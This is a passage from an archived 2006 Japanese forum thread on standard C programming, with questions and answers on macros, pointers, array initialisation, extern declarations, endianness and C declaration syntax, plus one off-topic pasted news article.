マクロなりconst定数(但しC99)にしておくべき。
但し、>696の場合はfgets(s, sizeof(s), fp)とするのが常道であり、
その場合は必ずしも積極的にマクロにしておく必要がない。
#でもしておいた方が意味を持たせると言う点では可読性が高いので好ましい。
0698デフォルトの名無しさん
2006/08/10(木) 13:56:590699デフォルトの名無しさん
2006/08/10(木) 14:41:22常に不要なら書かないという選択肢もあるが、
必要な場合もあるから書く香具師が多い。
そんなことくらい、大抵の香具師は知っている。
0700デフォルトの名無しさん
2006/08/10(木) 14:42:510701デフォルトの名無しさん
2006/08/10(木) 15:33:19わりと大きなプログラムを作る場合に、
プログラム全体を通して使う
エラー番号とエラーメッセージ
をあらかじめヘッダーとか初期設定の関数とか、あるいはファイルなどで定義しておいて、
それらをプログラム中で使うような方式が、一般的かどうか知りませんが、
わりとよく使われているのでは、と思うのですが、
私も、そういう方式を真似してみたいのですが、どこかに参考となるような
ソースコードありませんかね?
よろしく。
0702デフォルトの名無しさん
2006/08/10(木) 15:43:55グローバルにenumとconst char* []を用意しておくだけ。
0703デフォルトの名無しさん
2006/08/10(木) 16:41:03ありがとうございます。
わたしもそんな感じで作ってみようかと思ったのですが、
例えば、メッセージの数が増えて100個くらいになったとすると、
enumの並びと char *[]の並びがずれて、混乱するとか
そういう問題ってありませんか?
0704デフォルトの名無しさん
2006/08/10(木) 17:57:48errordef.h:
MSG(NO_ERROR, "no errors"),
MSG(xx_NOT_FOUND, "not found"),
...
errors.h:
enum ErrorCode {
#define MSG(e, m) e
#include "errordef.h"
#undef MSG
};
errors.c:
#include "errors.h"
const char *Messages[] = {
#define MSG(e, m) m
#include "errordef.h"
#undef MSG
};
0705デフォルトの名無しさん
2006/08/10(木) 18:07:09おお素晴らしい。これなら、メッセージの数が増えても混乱しませんね。
世の中には、優秀な人がいるもんだと感心しています。
さっそく利用させていただきます。ありがとうございました。
0706デフォルトの名無しさん
2006/08/10(木) 20:03:360707デフォルトの名無しさん
2006/08/10(木) 21:39:49どのへんが?
0708デフォルトの名無しさん
2006/08/10(木) 21:56:340709デフォルトの名無しさん
2006/08/10(木) 22:08:530710デフォルトの名無しさん
2006/08/11(金) 00:11:46よく関数で
sample(char **ptr){
.......
}
というようなものを見かけるのですが、実際に**ptrが何を指すのかいまいちわかりません。
char型をさすポインタをさすポインタなんだろうなーというくらいで
K&Rを読んでいると
「*pとp[]は同じ」
のようなことが書いてあって、だいぶ混乱してきました。
ひょっとして
function(**ptr)
と
function(*ptr[])
と等価なのでしょうか?
つまり**ptrは「ポインタが格納された配列」と読み替えていいのでしょうか?
よろしくおねがいします。
0711デフォルトの名無しさん
2006/08/11(金) 00:29:37それ以上でもそれ以下でもありません。
0712デフォルトの名無しさん
2006/08/11(金) 00:39:08>>1を読んでから質問しろ
0713デフォルトの名無しさん
2006/08/11(金) 01:06:13何命令してんだよ?お前に聞いてねーし、答える気がないならいちいちレスするな
役立たず
0714デフォルトの名無しさん
2006/08/11(金) 01:17:120715デフォルトの名無しさん
2006/08/11(金) 01:41:240716デフォルトの名無しさん
2006/08/11(金) 01:45:39function(**ptr)
と
function(*ptr[])
と
function(ptr[][])
は等価で、すべて
function(**ptr)
として扱われる。
0717デフォルトの名無しさん
2006/08/11(金) 01:52:53嘘付け。
>function(ptr[][])
こんなのがコンパイル通るわけがない。JavaやC#じゃないんだから。
0718デフォルトの名無しさん
2006/08/11(金) 02:08:430719デフォルトの名無しさん
2006/08/11(金) 23:41:25>「*pとp[]は同じ」
>のようなことが書いてあって、だいぶ混乱してきました。
本当にいるんだな、こういうK&Rの被害者。
http://kmaebashi.com/programmer/pointer.html
その他
空の []について
-----------------------------
関数定義の仮引数としては
char s[];
および
char *s;
はまったく同一である。われわれは後者がよいと思うが、それはこのほうが引数がポインタであることをより明確に示しているからである。
--- K&R P.121
アーグググググググ! アーグブイ! アーグシー! K&R第2版から、この部分だけは破り捨ててしまえ! これが通用するのは、 関数定義の引数定義という特殊な状況だけだという点を読み飛ばす危険が高すぎる...
---エキスパートCプログラミング P.238
-----------------------------
**ptr と *ptr[]
が等価になるのは「仮引数のとき」のみ。
この文法規則はあきらかにCの悪い点だと思う。
その他:
http://www.amy.hi-ho.ne.jp/lepton/program/mail/19990628.html
http://www.amy.hi-ho.ne.jp/lepton/program/p3/prog327.html
0720デフォルトの名無しさん
2006/08/11(金) 23:57:10これ見るたびに美味しんぼ思い出す。グワバババババ!
0721デフォルトの名無しさん
2006/08/12(土) 00:24:06int main(int argc, char **argv)
int main(int argc, char *argv[])
0722名無し
2006/08/12(土) 18:09:18#include <stdlib.h>
#include <time.h>
//プレイヤーの手を表示
main() {
int player = 0, computer;
//乱数の種をまく
srand(time(NULL));
printf("【ジャンケンゲーム】");
//プレイヤーの手の入力
printf("ジャンケン・・・(グー:1、チョキ:2、パー:3)>");
scanf("%d", &player);
//コンピュータの手の入力
computer = rand()%3+1;
printf("コンピュータは");
if(computer == 1) {printf("グー\n");}
else if(computer == 2) {printf("チョキ\n");}
else if(computer == 3) {printf("パー\n");}
//勝ち負け判定と結果表示
if(player == computer) {printf("あいこです");}
else if(player == 1 && computer == 2) {printf("プレイヤーの勝ちです");}
else if(player == 2 && computer == 3) {printf("プレイヤーの勝ちです");}
else if(player == 3 && computer == 1) {printf("プレイヤーの勝ちです");}
else {printf("コンピュータの勝ちです");}
return 0;
}
0723名無し
2006/08/12(土) 18:09:57このプログラムは、自分の手を選択するときに「1,2,3」以外の数字を入力すると
コンピュータはグー
コンピュータの勝ちです。
このように表示され、コンピュータが勝ってしまう。
さぁ、「1,2,3、」以外の数字を入力したときに
コンピュータはグー
プレイヤーの不正によりコンピュータの勝利
こういった具合に実行されるようにプログラムを書き換えなさい。
0724デフォルトの名無しさん
2006/08/12(土) 18:19:26int player = 0, computer;
//乱数の種をまく
srand(time(NULL));
printf("【ジャンケンゲーム】");
//プレイヤーの手の入力
printf("ジャンケン・・・(グー:1、チョキ:2、パー:3)>");
scanf("%d", &player);
//コンピュータの手の入力
computer = player;
printf("コンピュータは");
if(computer == 1) {printf("グー\n");}
else if(computer == 2) {printf("チョキ\n");}
else if(computer == 3) {printf("パー\n");}
//勝ち負け判定と結果表示
if(player == computer) {printf("あいこです");}
else if(player == 1 && computer == 2) {printf("プレイヤーの勝ちです");}
else if(player == 2 && computer == 3) {printf("プレイヤーの勝ちです");}
else if(player == 3 && computer == 1) {printf("プレイヤーの勝ちです");}
else {printf("プレイヤーの不正によりコンピュータの勝利");}
return 0;
}
0725デフォルトの名無しさん
2006/08/12(土) 18:25:19if(player > 3 || player == 0) {
printf("プレイヤーの不正によりコンピュータの勝利");
}
else if(player == computer) {
printf("あいこです");
}
(以下略)
0726デフォルトの名無しさん
2006/08/12(土) 18:37:37printf("ジャンケン・・・(グー:1、チョキ:2、パー:3)>");
scanf("%d", &player);
if( ! (player==1 && player==2 && player==3)){
printf("コンピュータはグー\n"); // ←いるのか、これw
printf("プレイヤーの不正によりコンピュータの勝利");
return 0;
}
(以下略)
0728デフォルトの名無しさん
2006/08/13(日) 00:36:36「完全制覇」のページひととおり読んでみた。
K&Rは書かれた時代のハードの事を考えれば、しょうがないかな、って部分もあるし
そのほうが現実的だなって部分もある。(たとえばポインタと配列では一般に前者が速いとか)
現在の環境を踏まえて振り返って批判するのは、ちょっとアレだな、とおもう。
宣言の書きかたについては、まぁ、やっちゃったよね、ってかんじだ。
0729デフォルトの名無しさん
2006/08/13(日) 05:22:50x86 の movntq をつかったような、キャッシュの汚染をしない memcpy もどき
の関数って用意されて無いんでしょうか?
また、こういった関数がほしい場合、自分でアセンブリ記述するのが普通なん
でしょうか?
0730デフォルトの名無しさん
2006/08/13(日) 05:34:30このスレ的には有り得ない。そもそも標準Cにキャッシュの概念そのものがない。
0731デフォルトの名無しさん
2006/08/13(日) 05:42:14C99にキャッシュについての記述があるけどな。
0732デフォルトの名無しさん
2006/08/13(日) 07:09:510733デフォルトの名無しさん
2006/08/13(日) 10:25:16extern unsigned long型を
宣言することは出来ないんですか?
0734デフォルトの名無しさん
2006/08/13(日) 10:59:10{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933}
};
ねえこの宣言の仕方なんか間違ってる?
0735即答できないから時間稼ぎなのは内緒
2006/08/13(日) 11:16:44やってみたら?
>>734
なんでそんなこと聞くの?
0736デフォルトの名無しさん
2006/08/13(日) 11:23:49こんな警告が出ます
p5.c:80: error: variable-sized object may not be initialized
p5.c:81: warning: excess elements in array initializer
p5.c:81: warning: (near initialization for `ColorBit[0]')
p5.c:81: warning: excess elements in array initializer
p5.c:81: warning: (near initialization for `ColorBit[0]')
p5.c:81: warning: excess elements in array initializer
p5.c:81: warning: (near initialization for `ColorBit[0]')
…
0737デフォルトの名無しさん
2006/08/13(日) 13:15:08{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933,},
};
0738名無し
2006/08/13(日) 13:35:52テスト。
0740デフォルトの名無しさん
2006/08/13(日) 13:47:27それでもおんなじエラーが出るんだけど…
0741デフォルトの名無しさん
2006/08/13(日) 13:53:46のように、1〜n(実行時に決定される、100を超えない)の順列全通りを表示するプログラムのアルゴリズムを教えてください。
0742デフォルトの名無しさん
2006/08/13(日) 14:00:04定義とは別にどっかで宣言してませんか?
>>741
宿題は自分でやれ
0743デフォルトの名無しさん
2006/08/13(日) 14:14:31そのメッセージには ColorBit とか書いてあるんだが、
本当に ColorBit_test の部分に問題があるのか?
0744デフォルトの名無しさん
2006/08/13(日) 14:17:39#include<stdio.h>
int main(int argc, char **argv)
{
unsigned long ColorBit_test[8][8]={
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933}
};
puts("動いたにょ");
return 0;
}
0745名無し
2006/08/13(日) 14:26:320746デフォルトの名無しさん
2006/08/13(日) 14:27:38宣言してません
>>743
あ、ちょっと書き直したんです。気にしないでください。
ColorBitでもColorBit_testでも同じ症状です。
0747デフォルトの名無しさん
2006/08/13(日) 14:29:29このスレとしては
コンソールにテキストでなら可能でし
0748デフォルトの名無しさん
2006/08/13(日) 14:37:10MS-DOSの頃のIDEはやってたよな
0749デフォルトの名無しさん
2006/08/13(日) 15:03:01extern int Width;
extern int Height;
main(){
Width=8;Height=8;
int w=Width,h=Height;
unsigned long ColorBit[h][w]={
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933}
};
これだと警告が出る。
なぜ?
0750デフォルトの名無しさん
2006/08/13(日) 15:06:01#define w 8
#define h 8
unsigned long ColorBit[h][w]={
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933},
{0xffffff,0xffffff,0xffeeaa,0xffccaa,0xaabb99,0x160394,0xa83720,0xcc9933}
};
0751デフォルトの名無しさん
2006/08/13(日) 15:09:55Unixならどうすんだろうね。
OX-Libraryしか使ったこと無いからワカンネ。
0752デフォルトの名無しさん
2006/08/13(日) 15:11:080753デフォルトの名無しさん
2006/08/13(日) 15:13:290754デフォルトの名無しさん
2006/08/13(日) 15:17:41文の最初でexternして、
直後のmainの最初で=8してる。
あとは下のほうで定義してる関数に使ってる。
0755デフォルトの名無しさん
2006/08/13(日) 15:18:47ColorBit[h][w]
~~~~~~
C99なら話は別なんだけど
0756デフォルトの名無しさん
2006/08/13(日) 15:27:050757デフォルトの名無しさん
2006/08/13(日) 15:37:49差別すんのもいかがなもんかと思いつつ、何気に決定的な違いも多いし
さあどうしたもんか。
0758デフォルトの名無しさん
2006/08/13(日) 15:40:03あと余談だけどさ
どうして関数の外でextern定義すると、
p5.c:6: warning: `Width' initialized and declared `extern'
p5.c:7: warning: `Height' initialized and declared `extern'
p5.c:8: warning: `ColorBit' initialized and declared `extern'
って警告されちゃうの?
0759デフォルトの名無しさん
2006/08/13(日) 16:01:33int Width=8;
p5.c:
extern int Width;
変数 Width の実体は hoge.c にあって、
p5.c からはそれを参照しているにすぎない。
初期化は hoge.c で行なうべきなのだが、
p5.c で初期化が行われているからだと思う。
Width は extern にすべき変数なのかな?
0760デフォルトの名無しさん
2006/08/13(日) 16:21:19なるほど〜
いや、これなんです。↓
ttp://www.rs.kagu.sut.ac.jp/~infoserv/j-siken/H9a2/pm07.html
勉強してたんだぉ
はじめからexternって書いてあったんだ
画像値を設定するプログラムは別に書くって想定だったんだな、きっと。
とn!
0761デフォルトの名無しさん
2006/08/14(月) 01:36:57このスレタイの「ANSI」は、C89に限定するためのものではなく
標準Cであることを示すためのものであったはずで、
C99 は ISO だろ、などという下らない突っ込みは却下。
0762デフォルトの名無しさん
2006/08/14(月) 01:49:130763デフォルトの名無しさん
2006/08/14(月) 02:27:500764デフォルトの名無しさん
2006/08/14(月) 02:47:59>>746といい勝手にソース書き換えてエスパーに期待してたら
分かるものも分からなくなるに決まってるだろ
0765デフォルトの名無しさん
2006/08/15(火) 21:53:05【ISO/JIS/ANSI】 標準C 【環境依存お断り】
0766デフォルトの名無しさん
2006/08/15(火) 21:57:06自分の質問内容が環境に依存する事を知らないと思います先生
0767デフォルトの名無しさん
2006/08/15(火) 22:40:510768デフォルトの名無しさん
2006/08/15(火) 23:04:230769デフォルトの名無しさん
2006/08/15(火) 23:12:350770デフォルトの名無しさん
2006/08/16(水) 01:26:52【ISO/JIS/ANSI/標準C】 C言語なら俺に聞け! Part 129
0771デフォルトの名無しさん
2006/08/16(水) 19:05:310772デフォルトの名無しさん
2006/08/16(水) 19:08:120773デフォルトの名無しさん
2006/08/16(水) 19:25:11マニュアルページを読め。
要は、引き数をそのまま返すかNULLを返すかだ。
0774デフォルトの名無しさん
2006/08/16(水) 19:37:330775771
2006/08/16(水) 19:47:32第一引数が必要なサイズが確保されたメモリへのポインタだということが何故か飛んでいました。
すいませんでした。
0776デフォルトの名無しさん
2006/08/16(水) 21:15:49OSががんばってる
0777デフォルトの名無しさん
2006/08/17(木) 15:59:020778デフォルトの名無しさん
2006/08/18(金) 03:15:050779デフォルトの名無しさん
2006/08/18(金) 09:58:23同じコンパイラーでそれぞれでビルドして実行したら、実効速度に差は出るものでしょうか。
0780デフォルトの名無しさん
2006/08/18(金) 10:37:23そりゃまぁOSのAPIなんかを呼んでいれば当然実行されるコードは異なるわけだから。
0781sage
2006/08/18(金) 14:27:50int *x1;
char *c1;
*x1 = 0x3456;
c1 = (char *) x1;
printf( "x1: %x c1[0]: %x c1[1]: %x\n", *x1, *c1, *(c1+1));
(結果 x1: 3456 c1[0]: 56 c1[1]: 34)
のように、2バイトの0x3456を1バイトずつに分割したらどうして
c1には34,56の順に入らず56,34の順に入ってしまうんでしょうか?
0782デフォルトの名無しさん
2006/08/18(金) 14:28:51モトローラのPCでやれ
0783デフォルトの名無しさん
2006/08/18(金) 14:31:11ラージエイリアンとスモールエイリアン
0784デフォルトの名無しさん
2006/08/18(金) 14:32:17つ[エンディアン]
0785デフォルトの名無しさん
2006/08/18(金) 14:33:360786デフォルトの名無しさん
2006/08/18(金) 15:04:440787デフォルトの名無しさん
2006/08/18(金) 15:08:06short s;
memcpy(&s, &i, sizeof (s));
こういうのが期待通り動くほうがいいかな〜と思ったからじゃないかとおれは思う。
0788sage
2006/08/18(金) 15:08:57Intelだからリトルでした。
0789デフォルトの名無しさん
2006/08/18(金) 22:11:23本当にリトルエンディアンは使いづらい。
0790デフォルトの名無しさん
2006/08/18(金) 22:20:150791デフォルトの名無しさん
2006/08/18(金) 22:21:27ビッグエンディアンって扱いにくいにも程があるだろ。
ビッグエンディアンの利点があるなら教えてくれ。
とりあえず、リトルエンディアンの利点は
int32_tからint16_tやint8_tにキャストするのは単に上位ビットを無視するだけですむ。
0792デフォルトの名無しさん
2006/08/18(金) 22:26:17rand() だけを延々実行しつづけた場合、実行回数が int の上限値に達する前であっても
一度出てきた数字が再度出てくるということはありえますよね?
上位ビットを無視するってのは、リトルでもビッグでも同じだとおもうが。。。
0794デフォルトの名無しさん
2006/08/18(金) 22:31:34intN_t から intM_t への変換は(レジスタに収まる限り)関係ないんじゃないか?
エンディアンが問題になるようなコードは、どうせ未定義か、
よくて実装定義な動作になるだろうし。
0795デフォルトの名無しさん
2006/08/18(金) 22:33:54ビッグエンディアンは人にやさしい(人が理解するのと同じ順番でメモリに格納されるから)
0796デフォルトの名無しさん
2006/08/18(金) 22:39:16規格上はありえるんだけど、そういう実装はあんまりないだろうなぁ。
0797デフォルトの名無しさん
2006/08/18(金) 22:40:59LANコントローラ(LAN91C111)自体はリトルエンディアンで設計してあり
実際に搭載するCPUはSH-2はビッグエンディアンで、正直作るのにめんどくさい。
しかもレジスタアクセスはバイトスワップでデータアクセスはそのまま。
(接続によってはレジスタアクセスはそのままで、データアクセスはバイトスワップする場合もある)
I/Oレジスタアクセスする際にバイトスワップするべきか
I/Oレジスタの定義ファイルをリトルエンディアン用とビッグエンディアン用の二つを作るべきか・・・
2つだとメンテが面倒だがスワップの必要がない分ちょっと処理が早くなるかもしれないけど。
ところで誰かSH-2にLAN91C111を搭載して、コード作った人といる?
0798デフォルトの名無しさん
2006/08/18(金) 22:43:50全部の数字がでるまで各数字が一回しか出ない数列を乱数列と呼ぶ人間は見たことがない。
0799デフォルトの名無しさん
2006/08/18(金) 22:46:36えーと、一度スレタイ読むことをおすすめします。
0800デフォルトの名無しさん
2006/08/18(金) 22:51:00エンディアンの違いを吸収するインターフェースを決めて、
それぞれのエンディアン用に実装を書くのがいい。
そこから先はスレ違いだから、ここで話続けないでね。
0801デフォルトの名無しさん
2006/08/19(土) 00:03:10後から自分で見ても、何だこの書き込みは・・・と思いました。
0802ふいんき
2006/08/19(土) 10:53:330803デフォルトの名無しさん
2006/08/19(土) 15:04:01おまえさん、どっち派だ?
void foo(char *c, int *i)
{
*c = (char)*i; //1
*c = *(char *)i; //2
}
# ビットマスクも気にはなるが話がそれるんであえて外している
0804デフォルトの名無しさん
2006/08/19(土) 15:25:030805デフォルトの名無しさん
2006/08/19(土) 16:14:31漏れは、1
1と2で結果が異なる場合ってある?
int *(*(*i)())[5] とした場合iは何を指してるか教えて、
これってどのような手順で解釈するんですか? ポインタって難しい。
教えて君ですまそ。
0806デフォルトの名無しさん
2006/08/19(土) 16:30:200807デフォルトの名無しさん
2006/08/19(土) 16:37:38iはポインタで(それが指すものは)
関数で戻り値がポインタで(それが指すものは)
要素5の配列で(それの中身は)
ポインタで(それが指すものは)
int
こういうやりかた書いてたのはエキスパートCプログラミングだったかなあ
まちがってたらごめぽ
0808デフォルトの名無しさん
2006/08/19(土) 16:43:540809デフォルトの名無しさん
2006/08/19(土) 16:52:28ついでにやりかたを説明しとくぞ。変数名のとこからはじめて
右に向かって解釈、なくなったら左に向かって解釈だ。
括弧はこの順番を変えるものだ。
int *i[] で練習すると
iは要素数不定の配列で中身は
ポインタで指すものは
int
これで怖いものなしだ。
0810デフォルトの名無しさん
2006/08/19(土) 17:01:57x is a function returning a pointer to an array of pointers to function returning char
char (*(*x())[])()
だってさ。
0811デフォルトの名無しさん
2006/08/19(土) 17:32:37http://kmaebashi.com/programmer/pointer.html
0812805
2006/08/19(土) 17:38:30これは、ポインタの演習問題で、これが正しく解釈できる位だとポインタの解釈に関しては及第点だと言われた。
漏れのint *(*(*i)())[5]の解釈手順は
(*i): iはポインタです。
(*i)():iは関数をポイントしている。
(*(*i))():関数の戻り値はポインタである。
(*(*i)())[5]:戻り値のポインタは要素5の配列をポイントしている。
int *(*(*i)())[5]:配列の要素はint型のポインタ(int *型)である。
まとめると、ポインタ変数iはint *型を5つ持つ配列を指すポインタを返す関数を指すポインタである
と漏れは解釈したのですが、自信が無かったんで質問したしだいです。何か解釈あってそうでうれしーーです。
逆に、このようなポインタ変数を宣言しろと言われれば、むりぽ。
0813デフォルトの名無しさん
2006/08/19(土) 17:44:230814デフォルトの名無しさん
2006/08/19(土) 18:02:220815デフォルトの名無しさん
2006/08/19(土) 18:08:50エスパー認定。
0816791
2006/08/19(土) 18:31:59そりゃ普通に前者だな。
エンディアンが絡む処理は言うまでもなく環境に依存しているから必要なとき以外する必要はない。
俺が言いたいのは>>789がリトルエンディアンが使いづらいと言う以上、
ビッグエンディアンがリトルエンディアンに勝っている環境に依存した点が存在するはずだろ。
それが何なのか教えてくれと聞いているだけ。
俺はいままでリトルエンディアンは賢いなと思ってた事は数多くある。
でも、ビッグエンディアンは便利だなと思ったことがないからな。そこが疑問になったわけ。
まぁ、C言語の範囲からはどうみても外れるからもういいや。ゴメン
0817デフォルトの名無しさん
2006/08/19(土) 18:57:13どっちもどっちということもあるな
だが、それでは「使いにくい二もほどがある」という主張は通らない
0818デフォルトの名無しさん
2006/08/19(土) 21:08:00BIG/LITTLEどっちでも動くCPUがけっこうある(MIPSとかARMとか)ことから、CPUにとっては些細な問題なのだろうが
ならば「統一してくれ」という意見ももっとだ。ISO9660の仕様なんかは悲惨すぎる。
0819デフォルトの名無しさん
2006/08/19(土) 21:08:540820デフォルトの名無しさん
2006/08/20(日) 02:08:47> ISO9660の仕様なんかは悲惨すぎる。
しかもアライメントを合わせていないから結局1バイトずつ読まなくてはならず
両方のインデックスを持っている意味がないという間抜け仕様
0821デフォルトの名無しさん
2006/08/20(日) 02:16:060822デフォルトの名無しさん
2006/08/20(日) 22:55:50どうしたらよいでしょうか
0823デフォルトの名無しさん
2006/08/20(日) 23:06:37無理。 case に指定する値は定数式じゃないと駄目。
残念ながら他のファイルで定義した const int は定数式になれない。
const int を #define で置き換えられればいける。
0824822
2006/08/20(日) 23:18:19ありがとうございました。
if〜else ifにしました。
これだとbreak;なしの連続処理が出来ないですけど
仕方ないです。
0825デフォルトの名無しさん
2006/08/20(日) 23:26:070826822
2006/08/20(日) 23:30:10extern 宣言の方にも const 付けているんですけどね…。
値は別の定数 + 定数というものなので define だとだめなんです。。
0827デフォルトの名無しさん
2006/08/20(日) 23:40:380828デフォルトの名無しさん
2006/08/21(月) 00:10:080829デフォルトの名無しさん
2006/08/21(月) 00:15:55define だと駄目な理由になってないような気がする。
0830デフォルトの名無しさん
2006/08/21(月) 02:18:131 :試されるだいちっちφ ★ :2006/08/21(月) 00:42:25 ID:???0
★アジア留学生に奨学金、日本で就職促す 2千人に国支給
中国、韓国などアジア諸外国の優秀な人材に、日本企業にもっと入ってもらおうと、
日本の大学で学ぶ留学生への無償奨学金制度を07年度から経済産業・文部科学
両省が始める。大学・大学院に、採用意欲のある企業と提携して、留学生向けの専門
講座やビジネス日本語講座などの2年間の特別コースを新設してもらい、その受講生
1人あたり、住居費分、学費免除分、生活費など月計20万〜30万円相当の支給を
検討中だ。支援対象は約2000人を想定している。
特別コースは企業の中核を担える人材の育成が目標で、電機・IT業界、環境関連
産業など特定分野の企業群と提携し、それらのニーズにあった専門性の高い授業を
想定。また、留学生の日本企業就職率が伸びない理由となっている、日本語の力不足
や企業風土の特徴をあまり知らないことなどを解消するため、特別コースには実用性
の高い日本語会話の授業や日本の企業文化などを教える授業のほか、インターンシップ
制度も盛り込んでもらう。両省が授業内容を審査し、奨学金制度を適用するかどうか
決める。
両省は関連予算として07年度予算の概算要求に約60億円を盛り込む方針。この中
には、同じ目的で、既存の国費留学制度を使っている留学生らが無料参加できる就職
支援プログラムも加わる。
経産省によると、04年度は約3万人の留学生が日本の大学・大学院を出たが、日本
国内で就職した留学生は約5700人にとどまった。留学生支援策の拡充で、アジアの
優秀な人材の定着を増やそうとしている。
朝日新聞 2006年08月20日06時24分
http://www.asahi.com/job/news/TKY200608190397.html
前スレ(立った日時:2006/08/20(日) 07:02:40)
http://news19.2ch.net/test/read.cgi/newsplus/1156074203/
0831jyo
2006/08/21(月) 13:51:39計算は、足し算、引き算、掛け算、割り算を選択する。
桁数は1桁、2桁をはじめに選択する。
計算式の数値はランダムで表示する。
計算式及び、答えを配列に保存し、終了後に全て計算式と答えを表示する。
問題は10問とする。
そのときの点数を表示する。
結果表示の時、一緒にかかった時間も表示する
0832デフォルトの名無しさん
2006/08/21(月) 14:07:46そうか、じゃ作れ
=== 終了 ===
0833デフォルトの名無しさん
2006/08/21(月) 14:34:09質問の全てを「?」に集約されても、何を訊きたいのか判らない。
0834デフォルトの名無しさん
2006/08/21(月) 14:42:16きっと、「作成したいですか?」のTypoだよ。
0835デフォルトの名無しさん
2006/08/22(火) 13:25:000836デフォルトの名無しさん
2006/08/22(火) 13:45:12ちゃんと説明しろ。
0837jyo
2006/08/22(火) 15:56:430838デフォルトの名無しさん
2006/08/22(火) 16:53:120839デフォルトの名無しさん
2006/08/22(火) 18:23:31皆さんどのようにされていますか?
何らかの構造体とか定義しておいて、その中に、引数の情報を保管しておくとか、そういう作戦が
よいですか?
今までは、自作のgetopt()みたいなのを、作っていて、それでやっていたのですが、
本物のプログラマーの皆さんはどんな方法でやられているのか、お教え願いたいです。
よろしく。特に、複数のプロジェクトがあっても、汎用的に使えるような
方法があれば、お教え願いたいです。
0840case-by-case
2006/08/22(火) 18:25:420841デフォルトの名無しさん
2006/08/22(火) 20:31:27そのなかに、小さい型への代入と言うのがありキャストをしているのですが
サンプルでは
float a=10.5; int b; b=a;
みたいなことをやっています。 これだと、小数点以下が切り捨てられるだけなのですが
int a=100000; short int b; b=(short)a;
とすると、わけの分からない数字が出ます。
これは何故なのでしょうか? その本には小さい型に代入すると、情報が一部失われると書いていますが
全く違う数字になっています。
0842デフォルトの名無しさん
2006/08/22(火) 20:33:30初期設定の読み込みと書き込みが出来るクラスつくる。まず初期設定読み込んでから
引数で上書きできるようにする。場合によりけりだけどな。
ただしおれはニートだ。
0843デフォルトの名無しさん
2006/08/22(火) 20:33:450844デフォルトの名無しさん
2006/08/22(火) 20:36:000845デフォルトの名無しさん
2006/08/22(火) 20:49:35case by case
0846デフォルトの名無しさん
2006/08/22(火) 22:08:04小さいほうの型で表すことができる値の範囲から外れている場合、結果は不定。
どんな値になってもおかしくはない。
0847デフォルトの名無しさん
2006/08/22(火) 23:25:30あれって、いくつ上のポインタを参照してもちゃんとアドレス持ってるんですか?
物理的なイメージがわかないんだけど。。ポインタのポインタくらいならわかるけど
0848デフォルトの名無しさん
